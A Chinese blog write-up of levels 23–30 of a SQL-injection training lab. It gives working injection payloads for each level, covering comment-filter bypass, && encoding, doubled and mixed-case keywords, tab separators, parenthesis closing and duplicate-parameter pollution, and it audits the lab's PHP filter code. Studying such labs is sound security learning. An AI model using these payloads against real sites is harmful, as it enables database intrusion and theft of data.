Sqli靶场23-->30
不知不觉鸽了几天了,没办法去旅游摸鱼是这样的了,抓紧时间来小更一下
23.过滤注释符号
先手工注入一下,就能发现两个单引号不报错,但是一旦上到注释符号的话就会报错,可以猜测出是对注释符号进行了过滤,我们也去看一下源码!!
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
不难发现,源代码的意思就是将 # -- 这两个注释符号替换成空,那很简单我们不注释就好了
不多说下一关!!
24.二次注入
这个关卡在前面讲过,就不多赘述,有兴趣的话可以翻一下我前面的文章
25.小小过滤and,编码秒了
这一关从它的提示都能发现他过滤了and和or,但是没有过滤编码(我猜的)
于是就开始poc:
1'+%26%26+1=1--+
成功能够看见返回(Hint:在sql中and和&&的作用都是一样的)
26.过滤我and?还过滤我空格?但是无伤大雅
这一关一开始我是没有看提示的,直接手工注入,字符型,没跑
然后注释测试发现又给我过滤了,于是就写这样的poc
id=1'+and+1='1
不出意外,报错。。。。。。于是就在想是不是and导致的报错,于是poc就有
id=1'and'
回显正常,说明是and被过滤,尝试编码绕过
没有回显(报错),说明是and被过滤, 而且%26%26被成功解析
于是继续我们的poc
id=1'+%26%26+1='1
发现能成功回显,然后其实完全就到此为止了,但是,!@@@@!!!!
看一眼提示?其实就能发现它对空格也进行了过滤,但是没有什么关系,因为就算sql语句堆在一起,只要不触碰到关键词,都是会执行的,但是如果你想完美 加个/**/就好
27.and?三次绕过&&大小写
这题其实完全可以直接用and秒了,但是既然他都已经在暗示我过滤了select 和union了 那我怎么好意思不绕一下waf 开始poc(因为注释被过滤,所以select的最后一个要是'包裹)
321331231'+union+select+1,2,'1
看看被过滤成了啥?好家伙,空格,union select 你是吞的一个不剩😓😓
那我们分别试一下双写一下试试?发现union和tab(%09)是出来了,但是我select呢??
321331231'+uniunionon%09seselectlect%091,2,'1
于是试一下大小写?,成功绕过WAF
321331231'+uniunionon%09SelEct%091,user(),'1
这样就做出来了,但是还是得去看一下源代码,(为了日后的代码审计)
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
- 可以看到首先它是过滤了/ 和*
- 然后将 -- #这些过滤掉
- 接着就是空格了
- 接下来就是select 了可以看见它前前后后一共过滤了两次,所以这就是为什么我们对select双写没有用的原因
- 然后就是对union进行替换,而且是只替换一次,这里就是为什么可以进行双写绕过的原因
那么审计完代码了,其实我们是不是可以对select 进行一次三写,?这样也是可以的
321331231'+uniunionon%09seselecselecttlect%091,user(),'1
28.这不看源代码写的出来??牛魔WAF
这个题呃呃呃,感觉不看源代码真的绕不过这这个waf啊
我belike:
来吧,先上最简单的poc:
1'%09union%09select%091,2,'3
发现变成了这样,双写一下试试看?
?又不过滤了
1'%09uniounionn%09seselectlect%091,2,'3
再来?
1'%09unionunion%09selectselect%091,2,'3
这是什么神奇waf(长见识了,其实这种就已经不在是匹配关键字)
而是匹配一种结构!!!!!!
于是就可以发现它匹配的是 union select这样的结构,那我们替换一下就好
2321312321312'%09union%09union%09selectselect%091,user(),'3
但是呢,你会收获一个这个
可以看见语句是被构造出来了,但是没有被执行,而且这个报错也不是我们常见的类型syntax error 于是我们去翻译一下 期待参数1是资源,但是却接收到了布尔值
也就是说接收到得分参数不匹配,于是去看一下源代码。。。。
sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
逆天!!!还有一个 () 怪不得一直不对,所以最终的poc就出来了
2321312321312')%09union%09union%09selectselect%091,user(),('3
29.明明可以绝杀,但是为什么要故意放水(bushi)
这一关,明明作者可以直接堵死注入点,但是他还是留了一条出路 来看!!!
首先看见这个hint就知道不简单,来看看他有多逆天
先是最简单的 1’这样的判断
发现就直接被过滤了,而且这题你会发现你怎么绕过都是这个结果,没办法,看源码
直到我看完源代码才知道什么是不是不可以,而是没有必要
先来看一个函数 whitelist
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
- 这里唯一要解释一下的,因该就只有$match = preg_match("/^\d+$/", $input); 了
- 这个表示的是正则匹配传入的参数从开头到结尾是不是都是纯数字
- 然后如果不是的话就跳转至 hacked.php 然后阻断注入
本来这个就已经是绝杀了的,但是慈祥的出题人还是给我们留下了退路(像极了老师捞人的样子)
函数java_implimentation()
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
- 巴拉巴拉一大堆,其实就是在将传入的参数以&符号分割开来,用数组接收
- 并且它只检查第一个id值,并且返回id后面的参数值(就是这里在放水!!)
放水还远不止于此,继续看!!!
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
其实我一直很好奇 他为什么不将$sql里面的动态插入的sql语句中的$id 换成能够通过过滤的$id1
看的出来放水放到极致了
所以这题的绕过方法就出来了, 写两个id
- 第一个id为正常的数字参数,能够被正常检验,并且通过waf 然后再将后面咩有过滤的id拼接上去造成注入
于是就有最终的poc
id=1'&id=-1'+union+select+1,database(),user()--+
30.还是29关但是"
这一关还是一样,不过后面的 ' 要改成双引号 " 然后其他的都一样了 poc:
id=0&id=0"+union+select+1,user(),database()--+
差不多,写了七关,感觉要写到累死了, ,后面的先鸽着,有时间再补,到时候过年的时候打算自己开一下红队,因为 我的兄弟:
我的兄弟萌,"内网,才是真正的战场,才是一个人的知识体系的最终融合体现!!!"